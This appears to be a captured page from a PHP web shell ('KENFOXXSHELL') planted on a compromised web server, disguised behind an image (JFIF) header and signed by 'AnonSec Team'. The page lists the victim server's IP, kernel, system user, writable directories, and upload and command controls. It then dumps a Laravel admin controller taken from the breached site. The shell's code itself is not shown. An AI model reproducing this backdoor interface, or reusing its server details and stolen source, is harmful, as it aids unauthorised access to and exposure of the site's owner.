JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/domains/bellizeno.com/private_html/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/domains/bellizeno.com/private_html/app/Http/Controllers/Admin/MaterialController.php
<?php 



namespace App\Http\Controllers\Admin;







//use App\Http\Requests;



use App\Http\Requests\MaterialRequest;



use App\Http\Controllers\Controller;



use Illuminate\Http\Request;



use App\Materials;



use App\Images;



use Input, File;



use Validator;



use Auth, DB;



use App\Sizes;











class MaterialController extends Controller



{



    public function getList()



    {



        $data = Materials::all();



        



        return view('admin.material.list', compact('data'));



    }



    public function getAdd()



    {



        $data = Materials::all();



      



        return view('admin.material.add', compact('data'));



    }



    public function postAdd(MaterialRequest $request)



    {



        $nhan = new Materials;     



        $nhan->name = $request->txtName;



        $nhan->name_eg = $request->txtName_eg;

        if(!empty($_REQUEST['pro_id'])){

           $nhan->pro_id = implode(",", $request->pro_id);

        }

       

        

        if(@!empty($_REQUEST['size'])){

        $nhan->size = implode("||", $request->size);

        }

        if($request->txtPrice!=''){



            $nhan->price = str_replace(",", "", $request->txtPrice);



        }else{



            $nhan->price =0;



        }

        if(!empty($_REQUEST['sale_id'])){

           $nhan->sale_id = implode(",", $request->sale_id);

        }



        $nhan->save();







        



        return redirect()->route('admin.material.index')->with('status','Thêm mới thành công !');







    



    }



    /**



     * Show the form for editing the specified resource.



     * @autho Nguyen Nhan



     * @param  int  $id



     * @return Response



     */



    public function getEdit(Request $request)
    {
        $id= $request->get('id');
        $data = Materials::find($id);
        if(!empty($data)){
            if($request->get('hienthi')>0){
                if($data->status == 1){
                    $data->status = 0; 
                }else{
                    $data->status = 1; 
                }
                $data->update();
                 return redirect()->back()->with([
                 'toastr_lvl' => 'success',
                 'toastr_msg' => 'Xử lý thành công!'
                ]);
            }
    
            return view('admin.material.edit',compact('data','nhan','id','parent'));
        }else{
            $data = Materials::all();
            return redirect()->route('admin.material.index')->with('status','Dữ liệu không có thực');
        }

    }

    /**
     * Update the specified resource in storage.
     * @autho Nguyen Nhan
     * @param  int  $id
     * @return Response
     */
    public function update(Request $request)
    {
        $this->validate($request,
            ["txtName" => "required"],
            ["txtName.required" => "Bạn chưa nhập tiêu đề"]
        );
        $id= $request->get('id');
        if($id){
            $nhan = Materials::findOrFail($id);
            $nhan->name = $request->txtName;
            $nhan->name_eg = $request->txtName_eg;

          

            if(!empty($_REQUEST['pro_id'])){

               $nhan->pro_id = implode(",", $request->pro_id);

            }

           

          

            if($request->txtPrice!=''){



                $nhan->price = str_replace(",", "", $request->txtPrice);



            }else{



                $nhan->price =0;



            }

             if(!empty($_REQUEST['sale_id'])){

               $nhan->sale_id = implode(",", $request->sale_id);

            }

	       $nhan->save();



            return redirect('admin/material/edit?id='.$id)->with([

             'toastr_lvl' => 'success',

             'toastr_msg' => 'Cập nhật thành công !!'

            ]);

            



        }else{



            return redirect('admin/material/')->with('status','Dữ liệu không có thực');



        }



    }











    /**



     * Remove the specified resource from storage.



     * @autho Nguyen Nhan



     * @param  int  $id



     * @return Response



     */

    function changepos() {       

        $vitri = $_REQUEST['order'];

        $ids =  $_REQUEST['idsy'];

       

        foreach ($vitri as $k=>$v) { 

           $size =Materials::findOrFail($ids[$k])->update(['stt' => $v]);

         }

        

        return redirect('admin/material')->with([

         'toastr_lvl' => 'success',

         'toastr_msg' => 'Cập nhật vị trí thành công !!'

        ]);  

    } 

    public function getDelete($id)



    {



       



        $nhan = Materials::findOrFail($id);



        $nhan->delete();



     



        return redirect()->route('admin.material.index');



    }



    public function getDeleteList($id){



        $listid = explode(",",$id);



        foreach($listid as $listid_item){



             $nhan = Materials::findOrFail($listid_item);



            $nhan->delete();



            File::delete('upload/material/'.$nhan->photo);



        }



        return redirect()->route('admin.material.index');



    }



    



}




Anon7 - 2022
AnonSec Team